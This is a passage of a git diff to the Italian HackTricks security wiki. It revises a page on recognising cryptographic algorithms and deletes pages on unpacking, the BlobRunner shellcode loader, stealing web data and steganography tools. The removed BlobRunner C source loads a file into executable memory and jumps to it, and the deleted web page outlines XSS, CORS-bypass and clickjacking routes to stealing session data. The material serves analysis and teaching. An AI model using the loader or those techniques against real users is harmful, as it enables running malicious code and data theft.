-- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR con leak dell'indirizzo dello stack, scrivi shellcode e salta a esso
-- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR con leak dello stack, scrivi shellcode e salta a esso
-- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR con leak dello stack, confronto per prevenire la chiamata a exit(), sovrascrivi una variabile con un valore e scrivi shellcode e salta a esso
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md
index 0ef7181c6..e2343c159 100644
--- a/src/reversing/cryptographic-algorithms/README.md
+++ b/src/reversing/cryptographic-algorithms/README.md
@@ -1,12 +1,10 @@
 # Algoritmi di Crittografia/Compressione
 
-## Algoritmi di Crittografia/Compressione
-
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Identificazione degli Algoritmi
 
-Se si termina in un codice **che utilizza shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**.
+Se si termina in un codice **utilizzando shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**.
 
 ### Funzioni API
 
@@ -50,7 +48,7 @@ Puoi cercare qualsiasi altra costante e otterrai (probabilmente) lo stesso risul
 
 ### info sui dati
 
-Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento di informazioni dalla sezione .data**.\
+Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento informazioni dalla sezione .data**.\
 Puoi accedere a quei dati, **raggruppare il primo dword** e cercarlo su Google come abbiamo fatto nella sezione precedente:
 
 ![](<../../images/image (372).png>)
@@ -64,11 +62,11 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
 È composto da 3 parti principali:
 
 - **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox).
-- **Fase di mescolamento**: **Ciclerà attraverso la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia si raccomanda generalmente che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte.
-- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**.
+- **Fase di mescolamento**: Eseguirà un **loop attraverso la tabella** creata prima (loop di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia si raccomanda generalmente che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte.
+- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **loop attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**.
 
-> [!NOTE]
-> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente usando un %256 (mod 256)**
+> [!TIP]
+> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 loop di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 loop probabilmente usando un %256 (mod 256)**
 
 ### **Fase di Inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri)
 
@@ -87,7 +85,7 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
 ### **Caratteristiche**
 
 - Uso di **scatole di sostituzione e tabelle di ricerca**
-- È possibile **distinguere AES grazie all'uso di valori specifici delle tabelle di ricerca** (costanti). _Nota che la **costante** può essere **memorizzata** nel binario **o creata** _**dinamicamente**._
+- È possibile **distinguere AES grazie all'uso di valori specifici delle tabelle di ricerca** (costanti). _Nota che la **costante** può essere **memorizzata** nel binario **o creata** _ _**dinamicamente**._
 - La **chiave di crittografia** deve essere **divisibile** per **16** (di solito 32B) e di solito viene utilizzato un **IV** di 16B.
 
 ### Costanti SBox
@@ -104,11 +102,11 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
 ### Identificazione
 
 Nell'immagine seguente nota come la costante **0x9E3779B9** è utilizzata (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** -Tiny Encryption Algorithm).\
-Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**:
+Nota anche la **dimensione del loop** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**:
 
 ![](<../../images/image (381).png>)
 
-Come è stato menzionato prima, questo codice può essere visualizzato all'interno di qualsiasi decompilatore come una **funzione molto lunga** poiché **non ci sono salti** al suo interno. Il codice decompilato può apparire come segue:
+Come accennato in precedenza, questo codice può essere visualizzato all'interno di qualsiasi decompilatore come una **funzione molto lunga** poiché **non ci sono salti** al suo interno. Il codice decompilato può apparire come segue:
 
 ![](<../../images/image (382).png>)
 
diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md
deleted file mode 100644
index 59d2c895d..000000000
--- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md
+++ /dev/null
@@ -1,24 +0,0 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-# Identificazione di binari impacchettati
-
-- **mancanza di stringhe**: È comune trovare che i binari impacchettati non abbiano quasi nessuna stringa.
-- Molte **stringhe inutilizzate**: Inoltre, quando un malware utilizza qualche tipo di packer commerciale, è comune trovare molte stringhe senza riferimenti incrociati. Anche se queste stringhe esistono, ciò non significa che il binario non sia impacchettato.
-- Puoi anche utilizzare alcuni strumenti per cercare di scoprire quale packer è stato utilizzato per impacchettare un binario:
-- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
-- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
-- [Language 2000](http://farrokhi.net/language/)
-
-# Raccomandazioni di base
-
-- **Inizia** ad analizzare il binario impacchettato **dal basso in IDA e sali**. Gli unpacker escono una volta che il codice decompresso esce, quindi è improbabile che l'unpacker passi l'esecuzione al codice decompresso all'inizio.
-- Cerca **JMP** o **CALL** a **registri** o **regioni** di **memoria**. Cerca anche **funzioni che spingono argomenti e una direzione di indirizzo e poi chiamano `retn`**, perché il ritorno della funzione in quel caso potrebbe chiamare l'indirizzo appena spinto nello stack prima di chiamarlo.
-- Metti un **breakpoint** su `VirtualAlloc` poiché questo alloca spazio in memoria dove il programma può scrivere codice decompresso. "Esegui fino al codice utente" o usa F8 per **ottenere il valore all'interno di EAX** dopo aver eseguito la funzione e "**segui quell'indirizzo nel dump**". Non sai mai se quella è la regione in cui il codice decompresso verrà salvato.
-- **`VirtualAlloc`** con il valore "**40**" come argomento significa Read+Write+Execute (alcuni codici che necessitano di esecuzione verranno copiati qui).
-- **Durante l'unpacking** del codice è normale trovare **diverse chiamate** a **operazioni aritmetiche** e funzioni come **`memcopy`** o **`Virtual`**`Alloc`. Se ti trovi in una funzione che apparentemente esegue solo operazioni aritmetiche e forse qualche `memcopy`, la raccomandazione è di cercare di **trovare la fine della funzione** (forse un JMP o una chiamata a qualche registro) **o** almeno la **chiamata all'ultima funzione** e correre fino a lì poiché il codice non è interessante.
-- Durante l'unpacking del codice **nota** ogni volta che **cambi regione di memoria** poiché un cambiamento di regione di memoria può indicare l'**inizio del codice decompresso**. Puoi facilmente dumpare una regione di memoria utilizzando Process Hacker (processo --> proprietà --> memoria).
-- Durante il tentativo di decompattare il codice, un buon modo per **sapere se stai già lavorando con il codice decompresso** (così puoi semplicemente dumpare) è **controllare le stringhe del binario**. Se a un certo punto esegui un salto (forse cambiando la regione di memoria) e noti che **sono state aggiunte molte più stringhe**, allora puoi sapere **che stai lavorando con il codice decompresso**.\
-Tuttavia, se il packer contiene già molte stringhe, puoi vedere quante stringhe contengono la parola "http" e vedere se questo numero aumenta.
-- Quando dumpi un eseguibile da una regione di memoria, puoi correggere alcuni header utilizzando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools/blobrunner.md b/src/reversing/reversing-tools/blobrunner.md
deleted file mode 100644
index d988e41ef..000000000
--- a/src/reversing/reversing-tools/blobrunner.md
+++ /dev/null
@@ -1,208 +0,0 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-L'unica riga modificata del [codice originale](https://github.com/OALabs/BlobRunner) è la riga 10. 
-Per compilarlo, **crea semplicemente un progetto C/C++ in Visual Studio Code, copia e incolla il codice e costruiscilo**.
-```c
-#include 
-#include 
-#include 
-
-#ifdef _WIN64
-#include 
-#endif
-
-// Define bool
-#pragma warning(disable:4996)
-#define true 1
-#define false 0
-
-const char* _version = "0.0.5";
-
-const char* _banner = " __________.__        ___.  __________\n"
-" \\______   \\  |   ____\\_ |__\\______   \\__ __  ____   ____   ___________     \n"
-"  |    |  _/  |  /  _ \\| __ \\|       _/  |  \\/    \\ /    \\_/ __ \\_  __ \\  \n"
-"  |    |   \\  |_(  <_> ) \\_\\ \\    |   \\  |  /   |  \\   |  \\  ___/|  | \\/ \n"
-"  |______  /____/\\____/|___  /____|_  /____/|___|  /___|  /\\___  >__|          \n"
-"         \\/                \\/       \\/           \\/     \\/     \\/    \n\n"
-"                                                                     %s    \n\n";
-
-
-void banner() {
-system("cls");
-printf(_banner, _version);
-return;
-}
-
-LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) {
-LPVOID lpvBase;
-FILE* file;
-unsigned long fileLen;
-char* buffer;
-DWORD dummy;
-
-file = fopen(inputfile_name, "rb");
-
-if (!file) {
-printf(" [!] Error: Unable to open %s\n", inputfile_name);
-
-return (LPVOID)NULL;
-}
-
-printf(" [*] Reading file...\n");
-fseek(file, 0, SEEK_END);
-fileLen = ftell(file); //Get Length
-
-printf(" [*] File Size: 0x%04x\n", fileLen);
-fseek(file, 0, SEEK_SET); //Reset
-
-fileLen += 1;
-
-buffer = (char*)malloc(fileLen); //Create Buffer
-fread(buffer, fileLen, 1, file);
-fclose(file);
-
-printf(" [*] Allocating Memory...");
-
-lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40);
-
-printf(".Allocated!\n");
-printf(" [*]   |-Base: 0x%08x\n", (int)(size_t)lpvBase);
-printf(" [*] Copying input data...\n");
-
-CopyMemory(lpvBase, buffer, fileLen);
-return lpvBase;
-}
-
-void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug)
-{
-LPVOID shell_entry;
-
-#ifdef _WIN64
-DWORD   thread_id;
-HANDLE  thread_handle;
-const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n";
-#else
-const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n";
-#endif
-
-shell_entry = (LPVOID)((UINT_PTR)base + offset);
-
-#ifdef _WIN64
-
-printf(" [*] Creating Suspended Thread...\n");
-thread_handle = CreateThread(
-NULL,          // Attributes
-0,             // Stack size (Default)
-shell_entry,         // Thread EP
-NULL,          // Arguments
-0x4,           // Create Suspended
-&thread_id);   // Thread identifier
-
-if (thread_handle == NULL) {
-printf(" [!] Error Creating thread...");
-return;
-}
-printf(" [*] Created Thread: [%d]\n", thread_id);
-printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry);
-
-#endif
-
-if (nopause == false) {
-printf("%s", msg);
-getchar();
-}
-else
-{
-if (jit == true) {
-// Force an exception by making the first byte not executable.
-// This will cause
-DWORD oldp;
-
-printf(" [*] Removing EXECUTE access to trigger exception...\n");
-
-VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp);
-}
-}
-
-#ifdef _WIN64
-printf(" [*] Resuming Thread..\n");
-ResumeThread(thread_handle);
-#else
-printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry);
-printf(" [*] Jumping to shellcode\n");
-__asm jmp shell_entry;
-#endif
-}
-
-void print_help() {
-printf(" [!] Error: No file!\n\n");
-printf("     Required args: \n\n");
-printf("     Optional Args:\n");
-printf("         --offset  The offset to jump into.\n");
-printf("         --nopause         Don't pause before jumping to shellcode. Danger!!! \n");
-printf("         --jit             Forces an exception by removing the EXECUTE permission from the alloacted memory.\n");
-printf("         --debug           Verbose logging.\n");
-printf("         --version         Print version and exit.\n\n");
-}
-
-int main(int argc, char* argv[])
-{
-LPVOID base;
-int i;
-int offset = 0;
-bool nopause = false;
-bool debug = false;
-bool jit = false;
-char* nptr;
-
-banner();
-
-if (argc < 2) {
-print_help();
-return -1;
-}
-
-printf(" [*] Using file: %s \n", argv[1]);
-
-for (i = 2; i < argc; i++) {
-if (strcmp(argv[i], "--offset") == 0) {
-printf(" [*] Parsing offset...\n");
-i = i + 1;
-if (strncmp(argv[i], "0x", 2) == 0) {
-offset = strtol(argv[i], &nptr, 16);
-}
-else {
-offset = strtol(argv[i], &nptr, 10);
-}
-}
-else if (strcmp(argv[i], "--nopause") == 0) {
-nopause = true;
-}
-else if (strcmp(argv[i], "--jit") == 0) {
-jit = true;
-nopause = true;
-}
-else if (strcmp(argv[i], "--debug") == 0) {
-debug = true;
-}
-else if (strcmp(argv[i], "--version") == 0) {
-printf("Version: %s", _version);
-}
-else {
-printf("[!] Warning: Unknown arg: %s\n", argv[i]);
-}
-}
-
-base = process_file(argv[1], jit, offset, debug);
-if (base == NULL) {
-printf(" [!] Exiting...");
-return -1;
-}
-printf(" [*] Using offset: 0x%08x\n", offset);
-execute(base, offset, nopause, jit, debug);
-printf("Pausing - Press any key to quit.\n");
-getchar();
-return 0;
-}
-```
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md
deleted file mode 100644
index d6f9e5045..000000000
--- a/src/stealing-sensitive-information-disclosure-from-a-web.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# Furto di Informazioni Sensibili da un Web
-
-{{#include ./banners/hacktricks-training.md}}
-
-Se a un certo punto trovi una **pagina web che ti presenta informazioni sensibili basate sulla tua sessione**: Potrebbe riflettere cookie, stampare dettagli della carta di credito o qualsiasi altra informazione sensibile, potresti provare a rubarla.\
-Qui ti presento i principali modi per cercare di ottenerla:
-
-- [**CORS bypass**](pentesting-web/cors-bypass.md): Se riesci a bypassare le intestazioni CORS, sarai in grado di rubare le informazioni eseguendo una richiesta Ajax per una pagina malevola.
-- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Se trovi una vulnerabilità XSS nella pagina, potresti essere in grado di abusarne per rubare le informazioni.
-- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari.
-- [**Clickjaking**](pentesting-web/clickjacking.md): Se non c'è protezione contro questo attacco, potresti essere in grado di ingannare l'utente per inviarti i dati sensibili (un esempio [qui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
-
-{{#include ./banners/hacktricks-training.md}}
diff --git a/src/stego/esoteric-languages.md b/src/stego/esoteric-languages.md
deleted file mode 100644
index 113955487..000000000
--- a/src/stego/esoteric-languages.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# Lingue esoteriche
-
-{{#include ../banners/hacktricks-training.md}}
-
-## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
-
-Controlla quel wiki per cercare altre lingue esoteriche
-
-## Malbolge
-```
-('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
-```
-[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
-
-## npiet
-
-![](<../images/image (146).png>)
-
-[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
-
-## Rockstar
-```
-Midnight takes your heart and your soul
-While your heart is as high as your soul
-Put your heart without your soul into your heart
-
-Give back your heart
-
-
-Desire is a lovestruck ladykiller
-My world is nothing
-Fire is ice
-Hate is water
-Until my world is Desire,
-Build my world up
-If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
-Shout "FizzBuzz!"
-Take it to the top
-
-If Midnight taking my world, Fire is nothing
-Shout "Fizz!"
-Take it to the top
-
-If Midnight taking my world, Hate is nothing
-Say "Buzz!"
-Take it to the top
-
-Whisper my world
-```
-{{#ref}}
-https://codewithrockstar.com/
-{{#endref}}
-
-## PETOOH
-```
-KoKoKoKoKoKoKoKoKoKo Kud-Kudah
-KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
-KoKoKo Kud-Kudah
-kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah
-KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
-kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
-Kukarek
-```
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md
deleted file mode 100644
index d824c9658..000000000
--- a/src/stego/stego-tricks.md
+++ /dev/null
@@ -1,194 +0,0 @@
-# Stego Tricks
-
-{{#include ../banners/hacktricks-training.md}}
-
-## **Estrazione di Dati da File**
-
-### **Binwalk**
-
-Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk).
-```bash
-binwalk file # Displays the embedded data
-binwalk -e file # Extracts the data
-binwalk --dd ".*" file # Extracts all data
-```
-### **Foremost**
-
-Recupera file basati sui loro header e footer, utile per le immagini png. Installato tramite `apt` con la sua sorgente su [GitHub](https://github.com/korczis/foremost).
-```bash
-foremost -i file # Extracts data
-```
-### **Exiftool**
-
-Aiuta a visualizzare i metadati dei file, disponibile [qui](https://www.sno.phy.queensu.ca/~phil/exiftool/).
-```bash
-exiftool file # Shows the metadata
-```
-### **Exiv2**
-
-Simile a exiftool, per la visualizzazione dei metadati. Installabile tramite `apt`, sorgente su [GitHub](https://github.com/Exiv2/exiv2), e ha un [sito ufficiale](http://www.exiv2.org/).
-```bash
-exiv2 file # Shows the metadata
-```
-### **File**
-
-Identifica il tipo di file con cui stai lavorando.
-
-### **Strings**
-
-Estrae stringhe leggibili dai file, utilizzando varie impostazioni di codifica per filtrare l'output.
-```bash
-strings -n 6 file # Extracts strings with a minimum length of 6
-strings -n 6 file | head -n 20 # First 20 strings
-strings -n 6 file | tail -n 20 # Last 20 strings
-strings -e s -n 6 file # 7bit strings
-strings -e S -n 6 file # 8bit strings
-strings -e l -n 6 file # 16bit strings (little-endian)
-strings -e b -n 6 file # 16bit strings (big-endian)
-strings -e L -n 6 file # 32bit strings (little-endian)
-strings -e B -n 6 file # 32bit strings (big-endian)
-```
-### **Confronto (cmp)**
-
-Utile per confrontare un file modificato con la sua versione originale trovata online.
-```bash
-cmp original.jpg stego.jpg -b -l
-```
-## **Estrazione di Dati Nascosti nel Testo**
-
-### **Dati Nascosti negli Spazi**
-
-Caratteri invisibili in spazi apparentemente vuoti possono nascondere informazioni. Per estrarre questi dati, visita [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
-
-## **Estrazione di Dati dalle Immagini**
-
-### **Identificazione dei Dettagli dell'Immagine con GraphicMagick**
-
-[GraphicMagick](https://imagemagick.org/script/download.php) serve a determinare i tipi di file immagine e identificare potenziali corruzioni. Esegui il comando qui sotto per ispezionare un'immagine:
-```bash
-./magick identify -verbose stego.jpg
-```
-Per tentare di riparare un'immagine danneggiata, aggiungere un commento nei metadati potrebbe aiutare:
-```bash
-./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
-```
-### **Steghide per la Cancellazione dei Dati**
-
-Steghide facilita la nascosta dei dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il suo [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide).
-
-**Comandi:**
-
-- `steghide info file` rivela se un file contiene dati nascosti.
-- `steghide extract -sf file [--passphrase password]` estrae i dati nascosti, la password è facoltativa.
-
-Per l'estrazione basata sul web, visita [questo sito web](https://futureboy.us/stegano/decinput.html).
-
-**Attacco Bruteforce con Stegcracker:**
-
-- Per tentare di decifrare la password su Steghide, utilizza [stegcracker](https://github.com/Paradoxis/StegCracker.git) come segue:
-```bash
-stegcracker  []
-```
-### **zsteg per file PNG e BMP**
-
-zsteg si specializza nel rivelare dati nascosti in file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con il suo [source on GitHub](https://github.com/zed-0xff/zsteg).
-
-**Comandi:**
-
-- `zsteg -a file` applica tutti i metodi di rilevamento su un file.
-- `zsteg -E file` specifica un payload per l'estrazione dei dati.
-
-### **StegoVeritas e Stegsolve**
-
-**stegoVeritas** controlla i metadati, esegue trasformazioni delle immagini e applica il brute forcing LSB tra le altre funzionalità. Usa `stegoveritas.py -h` per un elenco completo delle opzioni e `stegoveritas.py stego.jpg` per eseguire tutti i controlli.
-
-**Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti all'interno delle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
-
-### **FFT per la Rilevazione di Contenuti Nascosti**
-
-Le tecniche di Fast Fourier Transform (FFT) possono svelare contenuti nascosti nelle immagini. Risorse utili includono:
-
-- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
-- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
-- [FFTStegPic su GitHub](https://github.com/0xcomposure/FFTStegPic)
-
-### **Stegpy per file audio e immagini**
-
-Stegpy consente di incorporare informazioni in file immagine e audio, supportando formati come PNG, BMP, GIF, WebP e WAV. È disponibile su [GitHub](https://github.com/dhsdshdhk/stegpy).
-
-### **Pngcheck per l'analisi dei file PNG**
-
-Per analizzare file PNG o per convalidarne l'autenticità, usa:
-```bash
-apt-get install pngcheck
-pngcheck stego.png
-```
-### **Strumenti Aggiuntivi per l'Analisi delle Immagini**
-
-Per ulteriori esplorazioni, considera di visitare:
-
-- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
-- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
-- [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
-- [OpenStego](https://www.openstego.com/)
-- [DIIT](https://diit.sourceforge.net/)
-
-## **Estrazione di Dati da Audio**
-
-**Audio steganography** offre un metodo unico per nascondere informazioni all'interno di file audio. Vengono utilizzati diversi strumenti per incorporare o recuperare contenuti nascosti.
-
-### **Steghide (JPEG, BMP, WAV, AU)**
-
-Steghide è uno strumento versatile progettato per nascondere dati in file JPEG, BMP, WAV e AU. Istruzioni dettagliate sono fornite nella [documentazione sui trucchi stego](stego-tricks.md#steghide).
-
-### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
-
-Questo strumento è compatibile con una varietà di formati tra cui PNG, BMP, GIF, WebP e WAV. Per ulteriori informazioni, fai riferimento alla [sezione di Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
-
-### **ffmpeg**
-
-ffmpeg è cruciale per valutare l'integrità dei file audio, evidenziando informazioni dettagliate e individuando eventuali discrepanze.
-```bash
-ffmpeg -v info -i stego.mp3 -f null -
-```
-### **WavSteg (WAV)**
-
-WavSteg eccelle nel nascondere ed estrarre dati all'interno di file WAV utilizzando la strategia del bit meno significativo. È accessibile su [GitHub](https://github.com/ragibson/Steganography#WavSteg). I comandi includono:
-```bash
-python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
-
-python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
-```
-### **Deepsound**
-
-Deepsound consente la crittografia e la rilevazione di informazioni all'interno di file audio utilizzando AES-256. Può essere scaricato dalla [pagina ufficiale](http://jpinsoft.net/deepsound/download.aspx).
-
-### **Sonic Visualizer**
-
-Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic Visualizer può rivelare elementi nascosti non rilevabili con altri mezzi. Visita il [sito ufficiale](https://www.sonicvisualiser.org/) per ulteriori informazioni.
-
-### **DTMF Tones - Dial Tones**
-
-La rilevazione dei toni DTMF nei file audio può essere ottenuta tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
-
-## **Altre Tecniche**
-
-### **Binary Length SQRT - QR Code**
-
-I dati binari che si elevano al quadrato per diventare un numero intero potrebbero rappresentare un codice QR. Usa questo frammento per controllare:
-```python
-import math
-math.sqrt(2500) #50
-```
-Per la conversione da binario a immagine, controlla [dcode](https://www.dcode.fr/binary-image). Per leggere i codici QR, usa [questo lettore di codici a barre online](https://online-barcode-reader.inliteresearch.com/).
-
-### **Traduzione in Braille**
-
-Per tradurre il Braille, il [Branah Braille Translator](https://www.branah.com/braille-translator) è una risorsa eccellente.
-
-## **Riferimenti**
-
-- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
-- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/6881-udp-pentesting-bittorrent.md b/src/todo/6881-udp-pentesting-bittorrent.md
deleted file mode 100644
index b58833f93..000000000
--- a/src/todo/6881-udp-pentesting-bittorrent.md
+++ /dev/null
@@ -1,3 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/fault_injection_attacks.md b/src/todo/hardware-hacking/fault_injection_attacks.md
index 3e8cbc80a..8242a3e30 100644
--- a/src/todo/hardware-hacking/fault_injection_attacks.md
+++ b/src/todo/hardware-hacking/fault_injection_attacks.md
@@ -1,5 +1,9 @@
 # Attacchi di Iniezione di Guasti
 
-Gli attacchi di iniezione di guasti includono l'introduzione di disturbi esterni nei circuiti elettronici per influenzare il loro comportamento, portando alla divulgazione di informazioni o addirittura al superamento di determinate restrizioni nel circuito. Questi attacchi aprono molte possibilità per attaccare circuiti elettronici. Questo attacco è anche noto come glitching dei circuiti elettronici.
+{{#include /banners/hacktricks-training.md}}
+
+Gli attacchi di iniezione di guasti includono l'introduzione di disturbi esterni nei circuiti elettronici per influenzare il loro comportamento, portando alla divulgazione di informazioni o addirittura al superamento di certe restrizioni nel circuito. Questi attacchi aprono molte possibilità per attaccare circuiti elettronici. Questo attacco è anche noto come glitching dei circuiti elettronici.
 
 Ci sono molti metodi e mezzi per iniettare guasti in un circuito elettronico.
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md
index a66c93c42..59a503bb0 100644
--- a/src/todo/hardware-hacking/side_channel_analysis.md
+++ b/src/todo/hardware-hacking/side_channel_analysis.md
@@ -1,7 +1,11 @@
 # Attacchi di Analisi dei Canali Laterali
 
+{{#include /banners/hacktricks-training.md}}
+
 Gli attacchi di Analisi dei Canali Laterali si riferiscono alla determinazione delle informazioni da un dispositivo o entità attraverso un altro canale o fonte che ha un'influenza indiretta su di esso e da cui è possibile estrarre informazioni. Questo può essere spiegato meglio con un esempio:
 
-Analizzando le vibrazioni in lastre di vetro che si trovano vicino alla sorgente sonora, ma la sorgente sonora non è accessibile. Le vibrazioni nel vetro sono influenzate dalla sorgente sonora e, se monitorate e analizzate, il suono può essere decodificato e interpretato.
+Analizzare le vibrazioni in lastre di vetro vicine alla sorgente sonora, ma la sorgente sonora non è accessibile. Le vibrazioni nel vetro sono influenzate dalla sorgente sonora e, se monitorate e analizzate, il suono può essere decodificato e interpretato.
 
 Questi attacchi sono molto popolari nel caso di fuga di dati come chiavi private o per trovare operazioni nei processori. Un circuito elettronico ha molti canali da cui le informazioni vengono costantemente diffuse. Monitorare e analizzare può essere utile per rivelare molte informazioni sul circuito e sui suoi interni.
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md
index e2abf02c0..132d39997 100644
--- a/src/todo/industrial-control-systems-hacking/README.md
+++ b/src/todo/industrial-control-systems-hacking/README.md
@@ -1,5 +1,7 @@
 # Hacking dei Sistemi di Controllo Industriale
 
